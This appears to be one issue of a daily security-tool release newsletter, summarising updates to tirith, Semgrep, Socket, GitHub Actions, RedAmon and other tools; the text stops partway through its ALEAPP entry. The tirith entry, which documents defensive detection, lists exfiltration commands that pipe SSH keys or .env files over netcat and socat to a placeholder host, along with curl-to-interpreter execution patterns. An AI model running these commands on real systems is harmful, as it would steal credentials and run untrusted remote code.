THE CYBER TOOLCHAIN

NO. 129

Tail

THE DAILY RELEASE FIREHOSE

PUBLISHED NOVEMBER 3, 2026 · EVERY DAY

The daily firehose — everything the toolchain shipped today, already filtered.

▸ // HOW THIS ISSUE IS MADE SHOW

VIEW

ISSUE VIEW

scroll



SCROLL | EXPAND IN PLACE | PREVIEW PANE

INFORMATION DENSITY

everything



BRIEFED | EVERYTHING

Every tool in the issue, in full.

all 116 changes

Do you prefer **scroll**? 👍 👎

▸ // CONTENTS SHOW 36 tools

▾ // THE BRIEF

HIDE SAME ISSUE, SAME PROMPT, TWO WRITERS: GPT-5.5 | Opus 5

What stands out across today's releases, grouped by what it lets you do. Every tool named links to its entry below.

Three unrelated things stand out today: tirith can turn risky agent behavior into approval gates, Socket can watch non-default repo

vim ? help

branches for org alerts, and Security Onion can correlate multiple events in its detection engine instead of treating each signal alone.

PROTECT

Turn agent risk signals into approval gates

tirith's structured `requires_approval` signal and hook controls let teams stop warnings from remaining advisory-only; risky exfiltration or inline-exec behavior can require a decision before continuing. Runlayer adds DNS-based egress blocking, while Cloudflare lets teams override general agent policy per Personal Agent instead of applying one coarse rule to all of them.

tirith · Runlayer · Cloudflare

PROTECT

Keep vulnerability and supply-chain coverage from stopping at the default branch

Socket can now track multiple branches per repository for organization-wide alerts, so release rings, canaries, and other non-default branches do not sit outside monitoring until they merge. Semgrep expands dependency coverage and agent-session controls, reducing the manual gap between what developers are testing with coding agents and what security review actually sees.

Socket · Semgrep

DETECT

Correlate related events before an analyst starts stitching them together

Security Onion adds initial multi-event Correlations in its detection engine, which turns related signals into a higher-context detection path instead of leaving analysts to connect each event manually. Plerion adds AWS Security Incident Response detections and new GCP checks, widening the cloud conditions that can be surfaced before they become a hand-built hunt.

Security Onion

Does **GPT-5.5** read better? 👍 👎

◆ AI-Powered Offensive Security

RedAmon

Feedback ⓘ v7.5.1 NOTES ↗

Open-source, self-hosted AI penetration testing framework: maps your attack surface into a graph, autonomously exploits it from a Kali sandbox with human approval gates, and opens PRs that fix what it finds. MCP both ways: plug in any MCP server as a tool, or drive RedAmon from Claude Code or your own agent.

RedAmon adds TruffleHog as a second secret engine in JS Recon and restricts Rules of Engagement documents from requiring key validation.

└──▷ GET THIS VERSION ▾

```
$ git clone --branch v7.5.1 https://github.com/samugit83/redamon.git
# already have the repo? check out this version:
$ git checkout v7.5.1
```

NEW DETECTION Enable or disable TruffleHog scanning per project by setting `js_recon_trufflehog_enabled` in the `projects` table; on by default for new projects, toggled in the UI at JS Recon → Key Validation → TruffleHog.

NEW DETECTION A Rules of Engagement document can now only turn JS Recon key validation off, not require it; re-enabling validation by hand is logged as relaxing a safety control.

└──▷ BREAKING ON UPGRADE

! Upgrading from v7.0.0 or earlier requires Docker Engine 28.0.0 or newer; on an older engine `./redamon.sh update` stops immediately after `git pull`.

! Upgrading through v7.2.0 or v7.4.0 requires running `tooling/scripts/dns_finding_rekey.py`, `netlas_finding_rekey.py`, and `js_secret_rekey.py` each with `--all --apply` before the first scan, with `agent`, `webapp`, and `recon-orchestrator` stopped, to preserve mutes, verdicts, and fix items on findings whose IDs are rekeyed.

! Upgrading through v7.2.0 pauses schedules for any project whose scope is a public suffix until its target list is edited, and some projects require one full recon before partial recon, GVM, or AI-attack can start again.

WAS THIS USEFUL? 👍 👎

◆ Exploitation & C2

Bugcrowd Feedback ⓘ

New Organization Roles for Assets and Savant Pathseeker (2026-11-02) BLOG ↗

RANK

Bugcrowd is a crowdsourced security platform that connects organizations with ethical hackers to find and report vulnerabilities through bug bounty and penetration testing programs.

> Bugcrowd introduced three new organization-level roles to scope access to Savant Pathseeker autonomous tests and asset inventory, and expanded the Organization Owner role to cover assets.

└──▷ **WHAT SHIPPED · 1 FEATURE** most completely described first ? what's the number?

01 New organization roles for assets and Pathseeker NEW

70

Bugcrowd adds three new organization roles: Test Operator, which can launch, stop, and configure Savant Pathseeker autonomous tests across approved assets and read asset inventory to select test targets (must be explicitly granted by an Organization Owner, not included with any program role by default); Asset Owner, which can manage asset inventory, discovery, scans, and groups, and triage findings across all programs; and Asset Viewer, which can view asset inventory, the discovery feed, and scan status, and view findings across all programs. The existing Organization Owner role now also includes full access to assets in addition to all security programs and submissions.

— Names each role's exact permissions but no UI path or API given

New Organization Roles for Assets and S…

WAS THIS USEFUL? 👍 👎

APPLICATION SECURITY

◆ SAST / SCA / Code Security

Semgrep

Feedback ⓘ updated · Nov 3, 2026 NOTES ↗ RANK

Get started with Semgrep to help you catch, flag, and fix real vulnerabilities before they ship.

> Semgrep's latest release centers on Guardian's new version-check and authentication controls for coding-agent sessions, a Detect-2Shell agentic workflow for spotting RCE-prone Node.js/PHP versions, and expanded Supply Chain coverage for Bun lockfiles and transitive dependency autofix.

└──▷ **WHAT SHIPPED · 9 FEATURES** most completely described first ? what's the number?

01 Guardian version checks and authentication options NEW

86

Semgrep Guardian now checks local PHP and Node.js versions at the start of each Claude Code and Codex session, flagging versions affected by the PHP2Shell and Node2Shell remote code execution vulnerabilities; these checks can be disabled by setting `SEMGREP_GUARDIAN_PHP_CHECK` and `SEMGREP_GUARDIAN_NODE_CHECK` to `off`. Guardian also adds authentication options: set `SEMGREP_GUARDIAN_TOKEN_COMMAND` to a program that prints an OAuth token so Guardian uses it directly without opening a browser (for environments like Coder external authentication), and re-authenticate after credentials expire by running `/semgrep:reconnect` in your coding agent.

Disable Guardian's PHP version gate in a CI environment where PHP2Shell alerts would block an automated coding session.

```
$ export SEMGREP_GUARDIAN_PHP_CHECK=off
```

Supply a pre-existing OAuth token from Coder external authentication so Guardian skips the browser login flow entirely.

```
$ export SEMGREP_GUARDIAN_TOKEN_COMMAND='cat
/run/secrets/semgrep_token'
```

— Names exact env vars, command, and vulnerability names `snapshot-20261103`

02 Bun lockfile support in Supply Chain NEW

82

Supply chain dependency analysis now supports Bun projects that use a `bun.lock` lockfile with a `package.json` file, including direct and transitive dependencies and workspaces. The binary `bun.lockb` format is not supported; convert with `bun`

`install --save-text-lockfile --frozen-lockfile --lockfile-only` and then delete `bun.lockb`.

Switch a Bun project from the unsupported binary lockfile to the text lockfile format so Semgrep Supply Chain can analyse its dependencies.

```
$ bun install --save-text-lockfile --frozen-lockfile --lockfile-only && rm bun.lockb
```

— Runnable migration command and exact lockfile names given `snapshot-20261103`

03 **Unpinned Python version display and SBOM property** IMPROVED

61

Python packages declared with a version range or without a version in `requirements.txt` now show the declared range, marked with an unpinned icon, in the Version column on the Dependencies page. SBOM exports list them as CycloneDX components without a version, with the declared range included as a component property.

— Names exact file, UI column, and SBOM format detail `snapshot-20261103`

04 **Detect-2Shell agentic workflow** NEW

60

Semgrep Agentic Workflows adds the Detect-2Shell workflow, which identifies repositories whose Node.js or PHP version may be affected by the Node2Shell or PHP2Shell remote code execution vulnerabilities by checking Docker image tags, `.nvmrc` files, infrastructure-as-code files, and CI setup steps.

— Clear mechanism but no direct invocation shown `snapshot-20261103`

THINNER COVERAGE BELOW

05 **Scheduled agentic workflows in public beta** NEW

50

Scheduled agentic workflows are now in public beta, letting users schedule Semgrep Agentic Workflows to run daily, weekly, or monthly on chosen projects by going to Policies and clicking Edit on the Scheduled workflows card.

— Exact UI navigation path given but no further detail `snapshot-20261103`

06 **Supply Chain Autofix for transitive dependencies** IMPROVED

43

Supply Chain Autofix now opens pull requests for transitive dependencies in npm and PyPI projects that have a lockfile.

— Names ecosystems and condition but no command shown `snapshot-20261103`

07 **Read-only role restrictions on remediation policies**

BREAKING

42

API tokens with the Read-only scope and users with the Read-only role can no longer create, update, or delete automations in remediation policies or create or link tickets.

— Clear scope change but no migration guidance given snapshot-20261103

08 **Unified Slack notification layout** IMPROVED

42

Slack notifications now use one layout covering Semgrep Agentic Workflows issues, Semgrep Code, Semgrep Supply Chain, Semgrep Secrets findings, incoming webhook findings, and triage events.

— Lists all covered finding types but no config shown snapshot-20261103

09 **Wiz integration adds Azure DevOps and Bitbucket sources**

IMPROVED

35

The Wiz integration now accepts findings from Azure DevOps and Bitbucket Data Center repositories, in addition to GitHub.

— Names integration and new sources but no setup steps snapshot-20261103

WAS THIS USEFUL? 👍 👎

zizmor

Feedback ⓘ v1.32.0 NOTES ↗ RANK

Static analysis for GitHub Actions (and more)

> zizmor's v1.32.0 release makes input collection root-aware by default to cut down on spurious findings, while also expanding LSP capabilities, adding experimental GitHub Actions workflow lockfile support, and shipping new Windows ARM64 wheels on PyPI.

└──▷ **WHAT SHIPPED · 4 FEATURES** most completely described first ? what's the number?

01 **Root-aware input collection by default** IMPROVED 65

zizmor's input collection is now root-aware by default, so invocations like `zizmor .` no longer collect inputs that GitHub Actions would not actually use, eliminating spurious findings from workflow definitions in vendored directories.

— Names exact CLI invocation and explains the behavior change. v1.32.0

THINNER COVERAGE BELOW

02 **LSP auditing and workspace folder tracking** IMPROVED 50

zizmor's LSP now audits pre-commit inputs, and it honors the `didChangeWorkspaceFolders` event to keep workspace analysis current when folders are added or removed.

— Names the LSP event handled but lacks usage detail. v1.32.0

03 **Windows ARM64 wheels on PyPI** NEW 35

zizmor now provides Windows ARM64 wheels on PyPI.

— Names platform and distribution channel but nothing more. v1.32.0

04 **Experimental workflow lockfile support** NEW 20

zizmor adds experimental GitHub Actions workflow lockfile support, intended to reduce spurious findings.

— Mentioned only in summary with no mechanism or usage detail. v1.32.0

WAS THIS USEFUL? 👍 👎

tirith

Feedback ⓘ v0.5.0 NOTES ↗ RANK

Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.

> Tirith v0.5.0 adds new exfiltration and inline-exec detections, turns warnings into enforceable approval decisions via a structured `requires_approval` signal and hook controls, and ships a wide set of breaking changes to trust grants, package commands, IaC detection, and the tirith-core library API.

└──▷ **WHAT SHIPPED · 11 FEATURES** most completely described first ? what's the number?

01 Exfiltration and inline-exec detection expansion NEW

85

Tirith now flags secret-file exfiltration over netcat and socat — `nc host 9000 < ~/.ssh/id_rsa`, `cat .env | socat TCP:host:9000 -`, TLS variants with `ncat --ssl` and `socat OPENSSL:`, and whole-environment dumps piped to an upload — as `data_exfiltration`, and extends the same finding to `curl -d @/dev/stdin`, `-T /dev/stdin` and `wget --post-file=/dev/stdin` reading secret files from stdin. It also detects downloaded output run as program source via `python3 -c "$(curl …)"`, `node -e`, php `-r` / `-B` / `-R` / `-E`, `bash -c "$(curl …)"`, `eval "$(curl …)"`, source <(curl …) and `deno eval "$(curl …)"` as `interpreter_suspicious_inline_exec` in POSIX shells and fish, and closes a gap where versioned interpreter names — `python3.12`, `pypy3`, `perl5.34`, `php8.2`, `ruby3.3`, `nodejs` and others — previously passed undetected as pipe sinks or inline program targets.

Check whether a command would be flagged as data exfiltration before running it — useful in CI or agent pre-flight.

```
$ tirith check -- nc exfil.example.com 9000 < ~/.ssh/id_rsa
```

— Named finding types and exact commands, no toggle to configure v0.5.0

02 Structured approval signal and hook bypass controls BREAKING

85

`tirith check` JSON output (schema 3 and 4) gains a boolean `requires_approval` field, and every agent adapter now denies a command marked `requires_approval: true` instead of just warning. `TIRITH_HOOK_WARN_ACTION` can be set to `allow`, `ask` or `deny` to control warned commands in agent hooks — `ask` surfaces an interactive prompt in Claude Code, VS Code, Copilot CLI and Cursor and denies with

guidance elsewhere — and the policy setting `allow_bypass_env_noninteractive: true` honors a `TIRITH=0` bypass in the zsh non-interactive guard, with `tirith check --json` now printing a full verdict (`action: "allow"` , `bypass_honored: true` , `requires_approval: false` , exit 0) for an honored bypass instead of no output.

— Named fields and env var with exact values, no sample invocation v0.5.0

---

03 **Setup --force rewrites agent adapters** BREAKING 83

`tirith setup <host> --scope <scope> --force` rewrites installed agent adapters to enforce the new approval requirement, leaving `.tirith-backup-v2-*` recovery copies alongside the rewritten files. Re-run with `--install-zshenv` to also update the `~/.zshenv` guard; `--force` alone and `tirith doctor --fix` leave the 0.4.x guard in place.

Refresh a Claude Code agent adapter after upgrading to enforce the new approval requirement, scoped to your user account.

```
$ tirith setup claude-code --scope user --force
```

— Exact command, flags and backup path with migration note v0.5.0

---

04 **Trust grants now scoped by rule** BREAKING 81

`tirith trust add` now requires `--rule RULE` or `--all-rules` and writes grants to `trust-grants.json` instead of `trust.json` ; run `tirith trust migrate` to move existing `trust.json` entries into the new file. Migrated entries stop applying if you downgrade to 0.4.x.

Migrate existing trust entries to the new grant file so they continue to apply after upgrading.

```
$ tirith trust migrate
```

— Exact commands given but rule matching mechanism unexplained v0.5.0

---

05 **IaC auto-approve detection scans every command on a line**

IMPROVED 73

IaC auto-approve detection now checks every command on a line, so `cd infra; terraform apply -auto-approve` now warns (`iac_apply_auto_approve` , exit 2) and `cd infra; terraform apply` now blocks when `iac_require_plan_before_apply: true` .

– Exact commands and exit codes but no CLI example to run v0.5.0

06 **package_lookup_incomplete finding replaces analysis_incomplete**

65

BREAKING

The `package_lookup_incomplete` finding replaces `analysis_incomplete` for live OSV.dev and deps.dev lookups that could not finish; policies that handle `pip install` or `npm install` warnings by adjusting `analysis_incomplete` must be updated to name `package_lookup_incomplete`.

– Named finding rename with migration guidance, no example v0.5.0

07 **False positive reduction across shell patterns** IMPROVED

60

Reduces agent false positives so these patterns now pass: `if` / `while` bracket conditions over substitutions, POSIX variable-named commands, `python3 -c` data pipelines, here-strings into `jq`, `xargs -I{}`, `{ …; }` groups, common `eval "$(…)"` shell-setup lines, function bodies with `${…}` expansions, large heredoc writes, `curl` to `localhost` with no proxy, `.app` and `.dev` TLDs, header expansions such as `-H "Authorization: Bearer $TOKEN"`, and wrapper spellings like `nice -n5` and `timeout -k1 5`. Plain LAN health checks such as `curl http://192.168.1.20:8080/health` now warn instead of block.

– Lists exact patterns fixed but no single actionable step v0.5.0

08 **Package install/approve commands refused, use --no-exec**

60

BREAKING

`tirith pkg install` and `tirith pkg approve` now refuse on every host; use `tirith install --no-exec` to analyze an install instead.

– Exact replacement command given, no further detail v0.5.0

THINNER COVERAGE BELOW

09 **Unknown options rejected before command separator** BREAKING

55

`tirith check` now rejects unknown options before the command separator and exits 2; previously (0.4.2) an unknown flag was analyzed as the first command word.

– Exact exit code and before/after behavior given v0.5.0

10 **ANSI escape and control character blocking** BREAKING

50

Commands containing ESC sequences or bare carriage returns are now blocked as `ansi_escapes` / `control_chars`; integrations that pass ANSI colour codes inside commands must strip them first.

— States the new block but no example command `v0.5.0`

11 **tirith-core library API overhaul** BREAKING 40

The `tirith-core` library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; `AnalysisContext`, `Policy` and `output::JsonOutput` gained fields.

— Names changed types but no migration steps `v0.5.0`

└──▷ BREAKING ON UPGRADE

! Agent adapters installed by 0.4.x do not enforce the new approval requirement; re-run `tirith setup <host> --scope <scope> --force` for every agent host and project after upgrading.

! A command Tirith warns about no longer auto-approves in Claude Code and VS Code — it goes through their normal permission prompt instead.

! An unrecognized `TIRITH_HOOK_WARN_ACTION` value now denies warned commands; the only valid values are `allow`, `ask` and `deny`.

! Commands containing ESC sequences or bare carriage returns are now blocked as `ansi_escapes` / `control_chars`; integrations that pass ANSI colour codes inside commands must strip them first.

! Re-run `tirith setup <host> --scope <scope> --force --install-zshenv` to update the `~/.zshenv` guard; `--force` alone and `tirith doctor --fix` leave the 0.4.x guard in place.

! `tirith check --json` now prints a normal verdict (`action: "allow"`, `bypass_honored: true`, `requires_approval: false`, exit 0) for an honored `TIRITH=0` bypass instead of no output.

! `tirith check` rejects unknown options before the command separator and exits 2; 0.4.2 analyzed an unknown flag as the first command word.

! The `package_lookup_incomplete` finding replaces `analysis_incomplete` for live OSV.dev and deps.dev lookups that could not finish; policies that handle `pip install` or `npm install` warnings by adjusting `analysis_incomplete` must be updated to name `package_lookup_incomplete`.

! IaC auto-approve detection now checks every command on a line, so `cd infra; terraform apply -auto-approve` now warns (`iac_apply_auto_approve`, exit 2) and `cd infra; terraform apply` now blocks when `iac_require_plan_before_apply: true`.

! `tirith trust add` now requires `--rule RULE` or `--all-rules`; migrated `trust.json` entries written to `trust-grants.json` stop applying if you downgrade to 0.4.x.

! `tirith pkg install` and `tirith pkg approve` now refuse on every host; use `tirith install --no-exec` to analyze an install instead.

! The `tirith-core` library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; `AnalysisContext`, `Policy` and `output::JsonOutput`

gained fields.

WAS THIS USEFUL? 👍 👎

psalm-plugin-laravel

Feedback ⓘ v4.18.1 NOTES ↗ RANK

Security-focused Laravel static analyser

> psalm-plugin-laravel v4.18.1 adds smarter type inference across factories, Eloquent date casts, and Carbon methods, while introducing a breaking change around Psalm 7.0's purity-annotation defaults.

└──▷ **WHAT SHIPPED · 4 FEATURES** most completely described first ? what's the number?

01 Purity-annotation restoration flag for Psalm 7.0

BREAKING

81

Psalm 7.0 no longer reports `MissingPureAnnotation`, `MissingAbstractPureAnnotation`, `MissingImmutableAnnotation`, or `MissingInterfaceImmutableAnnotation` by default. Projects that rely on these must set `suggestPurityAnnotations="true"` in `psalm.xml` to restore them.

Restore purity-annotation warnings that Psalm 7.0 now suppresses by default, so your codebase still catches unannotated pure functions.

xml

```xml
<psalm xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       suggestPurityAnnotations="true"
       ...>
  ...
</psalm>
```

— Names exact config key, file, and the four suppressed issue types v4.18.1

02 Carbon timestamp and diffForHumans typing

IMPROVED

64

Carbon `$timestamp` is now read as `int`, and diffForHumans()'s `$syntax` parameter (plus its `from`, `since`, `to`, `until`, `fromNow`, `toNow`, `ago` aliases) is typed as `CarbonInterface::DIFF_*` constants, with out-of-range integer arguments reported.

— Names exact constants and method aliases but no example v4.18.1

THINNER COVERAGE BELOW

03 Factory-count inference for model factories

IMPROVED

59

psalm-plugin-laravel now infers the factory count from factory(), `new`, and count() on the concrete factory class, so make() and create() return a single model or a Collection instead of both, and custom state methods stay callable after count().

— Names methods and return-type behaviour but no code example v4.18.1

---

04 **Configurable date-cast class resolution** IMPROVED 54

Eloquent `date` and `datetime` casts are now typed as the class passed to Date::use() instead of always resolving to `Illuminate\Support\Carbon`, and `created_at` / `updated_at` without a cast or `@property` annotation are typed as that configured date class rather than the raw schema `string|null`.

— Names config method and fields but no usage example v4.18.1

└──▷ **BREAKING ON UPGRADE**

! Psalm 7.0 no longer reports `MissingPureAnnotation`, `MissingAbstractPureAnnotation`, `MissingImmutableAnnotation`, or `MissingInterfaceImmutableAnnotation` by default; projects that rely on these must add `suggestPurityAnnotations="true"` to `psalm.xml` to restore them.

WAS THIS USEFUL? 👍 👎

GitHub Feedback ⓘ

Security risk assessments include repository protection status (2026-11-02)

BLOG ↗ RANK

GitHub is a web-based platform for version control and collaborative software development using Git repositories.

> GitHub added repository protection status to security risk assessments and announced that Actions will block pull_request_target events by default in public repositories starting December 2, 2026.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 pull_request_target blocked by default in public repos

88

BREAKING

GitHub Actions will block `pull_request_target` events by default in all public repositories starting December 2, 2026, via a new workflow execution protection rule, preventing fork-sourced untrusted code from accessing base-repository secrets. Teams can use workflow file targeting inside an Actions event policy to explicitly allow `pull_request_target` for specific workflows rather than the whole repository, and can preview impact via the Insights view while the rule runs in evaluate mode. Brownout enforcement windows on November 9 (16:00–18:00 UTC) and November 16 (16:00–18:00 UTC) will surface affected workflow runs early before full enforcement.

— Names mechanism, dates, policy config and evaluation tooling

pull_request_target blocked by default …

THINNER COVERAGE BELOW

02 Protection status in security risk assessments IMPROVED

50

Code security and secret risk assessments now show whether each finding is in a protected or unprotected repository, helping identify where to extend coverage. Available to organization admins and security managers under the organization's Security tab > Assessments.

Identify unprotected repositories with active findings so you can prioritize where to extend branch protection or code security policies.

> 📍 In your organization, go to Security › Assessments, then open the code security risk assessment or secret risk assessment — each finding now shows a `protected` or `unprotected` status for its repository.

— Clear UI path given, but no deeper mechanism detail

Security risk assessments include repos…

└──▷ BREAKING ON UPGRADE

! Starting December 2, 2026, `pull_request_target` workflow runs in public repositories will be blocked by default and will fail unless an Actions event policy explicitly allows them. Brownout enforcement windows on November 9 (16:00–18:00 UTC) and November 16 (16:00–18:00 UTC) will surface affected workflows early.

WAS THIS USEFUL? 👍 👎

skylos

Feedback ⓘ v5.4.0 NOTES ↗ RANK

Open source local-first PR scanner that finds dead code, security bugs, secrets, quality regressions, and AI-code mistakes before merge. For first timers refer to https://duriantaco.github.io/skylos/repo-map/

> Skylos adds a self-contained report command for sharing findings and a new rule that flags open control and admin routes during security checks.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 **Self-contained HTML/Markdown report command** NEW 70

A new `report` command generates self-contained HTML or Markdown reports summarizing verdict, top risks, and coverage gaps, suitable for handing off to a team lead or filing as an audit artifact. Example usage: `skylos report . --format md`.

Generate a shareable HTML report of all findings — verdict, top risks, and coverage gaps — to hand off to a team lead or file as an audit artifact.

```
$ skylos report . --format md
```

— Named command and flag with runnable example, but no detail on report internals v5.4.0

THINNER COVERAGE BELOW

02 **Open control and admin route detection (SKY-D283)** NEW 45

Skylos now flags open control and admin routes as rule `SKY-D283` when running security checks.

— Names the rule ID but gives no mechanism or example of detection v5.4.0

WAS THIS USEFUL? 👍 👎

Mend.io Mend SAST

Feedback ⓘ

Version 26.10.1 (02-November-2026) NOTES ↗ RANK

Mend SAST is a static application security testing service that scans source code for vulnerabilities and helps teams prioritize remediation.

> Mend SAST adds support for custom Node.js routing frameworks and gives finer-grained control over low-probability scan categories in the Scan Profile.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 Granular low-probability scan category controls IMPROVED

65

The Scan Profile replaces the previous binary toggle for low-probability scan categories with a configurable selection tree, letting users include or exclude individual categories such as File Read or Database Read, with a count indicator showing how many categories are selected.

Reduce noise for a codebase that has no database access by excluding the Database Read category from the next scan.

📍 In the platform UI, go to your Scan Profile › Low-Probability Scan Categories, expand the selection tree, uncheck Database Read, and save — the count indicator confirms how many categories remain active.

— UI path and example given, but no API/flag Version 26.10.1 (02-November-2026)

THINNER COVERAGE BELOW

02 Custom Node.js routing via routes.json NEW

55

Mend SAST now parses `routes.json` manifests to identify handler functions in custom Node.js routing frameworks, using them as entry points for taint analysis.

— Names the config file and mechanism but no setup steps

Version 26.10.1 (02-November-2026)

WAS THIS USEFUL? 👍 👎

Mend.io Mend Platform

Feedback ⓘ

Version 26.10.1 (01-November-2026) NOTES ↗ RANK

Mend platform is a traditional application security misses AI risk. Standalone AI security tools miss your code.

> Mend Platform's November release adds granular control over low-probability SAST scan categories and introduces Mend Intelligent Agent, a natural-language AI assistant for navigating the platform and summarizing risk.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 **Granular SAST scan category control** IMPROVED 75

The Scan Profile now lets users include or exclude individual low-probability SAST scan categories, such as File Read or Database Read, via a configurable selection tree — replacing the previous binary toggle. Changes apply to the next scan, and the UI shows a count of selected categories.

Reduce SAST noise on a codebase that does not use direct database access by excluding the Database Read category before the next scan.

> 📍 In the Mend Platform, go to the Scan Profile settings, open the low-probability scan categories selection tree, uncheck Database Read (and any other categories to exclude), then save — the change takes effect on the next scan and the counter updates to reflect the number of active categories.

— Names exact categories and UI flow, no API/flag names

Version 26.10.1 (01-November-2026)

THINNER COVERAGE BELOW

02 **Mend Intelligent Agent AI assistant** NEW 50

Mend Intelligent Agent accepts natural-language queries to explore platform capabilities, navigate to relevant views, and produce executive-level risk summaries across all applications and projects. It is enabled by default for organizations with a signed AI consent addendum.

— Explains purpose and default state, lacks concrete usage example

Version 26.10.1 (01-November-2026)

WAS THIS USEFUL? 👍 👎

◆ Software Supply Chain Security

plumber

Feedback ⓘ v0.7.18 NOTES ↗ RANK

Plumber detects CI/CD security issues in your GitHub workflows and gives you a score

> Plumber's v0.7.18 release strengthens the integrity and auditability of score pushes, adding keyless Sigstore signing, a payload-capture environment variable, and richer JSON report metadata.

└──▷ **WHAT SHIPPED · 3 FEATURES** most completely described first ? what's the number?

01 PLUMBER_SCORE_PAYLOAD_OUT captures pushed score payload NEW

75

Setting the `PLUMBER_SCORE_PAYLOAD_OUT` environment variable to a file path captures the exact bytes sent during a score push, useful for auditing what was signed.

Inspect the exact payload that was pushed to the score service — useful for auditing what was signed.

```
$ PLUMBER_SCORE_PAYLOAD_OUT=score-payload.json plumber analyze github.com/owner/repo
```

— Exact env var and runnable command provided. v0.7.18

THINNER COVERAGE BELOW

02 Keyless Sigstore signing of score pushes NEW

56

When running on GitHub Actions, plumber now signs score pushes with a keyless Sigstore signer and attaches the Sigstore bundle to the push; if signing fails, the run only warns rather than blocking.

— Explains trigger and failure behavior but no user-facing command. v0.7.18

03 Expanded JSON report metadata IMPROVED

43

plumber's JSON report now includes `cliVersion`, `configFileSha256`, and the GitHub Actions run details.

— Names new fields but no usage path given. v0.7.18

WAS THIS USEFUL? 👍 👎

Socket

Feedback ⓘ

Organization alerts can now track multiple branches (2026-11-02) BLOG ↗ RANK

Socket is a supply chain security platform that analyzes open-source package dependencies (npm, PyPI, etc.) to detect malicious code, risky behaviors, and vulnerabilities before developers install them.

> Socket now supports tracking multiple branches per repository for organization-wide alerts, letting teams monitor non-default branches like canary or release rings alongside main.

└──▷ **WHAT SHIPPED · 1 FEATURE** most completely described first ? what's the number?

01 Multi-branch tracking for organization alerts NEW

86

Organization-wide alerts can now track up to 5 branches per repository, with alerts broken down by label, repository, and branch in the dashboard. Branches can be added via Settings -> Scans -> Tracked Branches using plain names or glob expressions (e.g. `release/*`) to receive alerts, webhooks, and email notifications across branches such as beta, canary, or legacy. API users can track non-default branches by setting the `branch` and `set_as_pending_head` fields when creating a full scan.

Track a canary or beta branch alongside main so production ring deployments all surface in org-wide alerts.

> 📍 Settings -> Scans -> Tracked Branches -> Add a branch name (e.g. `canary`) or a glob expression (e.g. `release/*`) to begin receiving alerts, webhooks, and emails for that branch.

Register a full scan against a non-default branch via the API so it appears in organization alerts and triggers webhooks.

```
$ curl -X POST https://socket.dev/api/full-scan \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{"branch": "canary", "set_as_pending_head": true}'
```

— Names exact API fields, UI path, and branch limit.

Organization alerts can now track multi…

WAS THIS USEFUL? 👍 👎

◆ Secrets Detection & Management

Truffle Security trufflehog

Feedback ⓘ v3.99.8

NOTES ↗ CODE ↗

TruffleHog finds, verifies, and analyzes leaked credentials across Git, chat, wikis, cloud storage, and more

Custom regex detectors now populate `SecretParts` on each result, exposing named capture groups as structured metadata for downstream use.

└──▷ GET THIS VERSION ▾

Homebrew

```
$ brew install trufflehog
# already installed? upgrade to this version:
$ brew upgrade trufflehog
```

Docker

```
$ docker pull ghcr.io/trufflesecurity/trufflehog:3.99.8
```

git

```
$ git clone --branch v3.99.8
https://github.com/trufflesecurity/trufflehog.git
# already have the repo? check out this version:
$ git checkout v3.99.8
```

Homebrew lists this version · published under the project's GitHub account · checked 3 Nov

Wrong command?

NEW DETECTION Composio API key detector

WAS THIS USEFUL? 👍 👎

infisical

Feedback ⓘ v0.167.5 NOTES ↗

Infisical is the open-source platform for securing secrets, certificates, access, and AI Agents.

Infisical adds an OIDC issuer capability, Agent Vault MCP server, delegated-approval policies, secret outbox events, unused-secret Insights view, and automatic project-access revocation.

└──▷ GET THIS VERSION ▾

```
$ git clone --branch v0.167.5
https://github.com/Infisical/infisical.git
# already have the repo? check out this version:
$ git checkout v0.167.5
```

Infisical now acts as an OIDC issuer, letting other systems verify tokens against Infisical's identity.

Agent Vault now exposes an MCP server, letting AI agents and MCP-compatible clients access vaulted credentials.

Adds optional labels on Agent Vault sessions to identify and filter sessions by name.

Adds a guided setup checklist and sample session to the Agent Vault UI to walk through first-time configuration.

Adds delegated-approval policies so teams can define who may approve external access requests and implement an approval mechanism for those requests.

+5 more

NEW INTEGRATION ServiceNow app connection

UPDATED INTEGRATION GitHub secret sync adds Codespaces and Dependabot targets

NEW SUPPORTED PLATFORM Windows Server PKI discovery

NEW SUPPORTED PLATFORM ML-DSA key support for HSM-backed internal CAs

WAS THIS USEFUL? 👍 👎

REVERSE ENGINEERING, MALWARE & FORENSICS

◆ Digital Forensics & Incident Response

ALEAPP

Feedback ⓘ v2026.4.5 NOTES ↗ CODE ↗ RANK

Android Logs Events And Protobuf Parser

> ALEAPP's latest release adds multi-generation SQLite WAL recovery, dozens of new forensic artifact parsers spanning Health Connect, Samsung tooling, Permission Controller, and more, plus new Chromium and Hive/C2PA provenance support.

└──▷ **WHAT SHIPPED · 8 FEATURES** most completely described first ? what's the number?

01 **Multi-generation SQLite WAL recovery** NEW 83

Adds `is_sqlite_sidecar` to replace hand-written sidecar filters across 56 modules, and reads committed state, previous WAL generation leftover frames, and uncommitted tails from `sqlite_wal` v0.1.0 — recovering hidden rows from Samsung Honeyboard, Snapchat, Phone Link, Discord, Telegram, and Google Chat.

— Names module/version and mechanism, but no runnable command v2026.4.5

02 **Dozens of new forensic artifact parsers** NEW 65

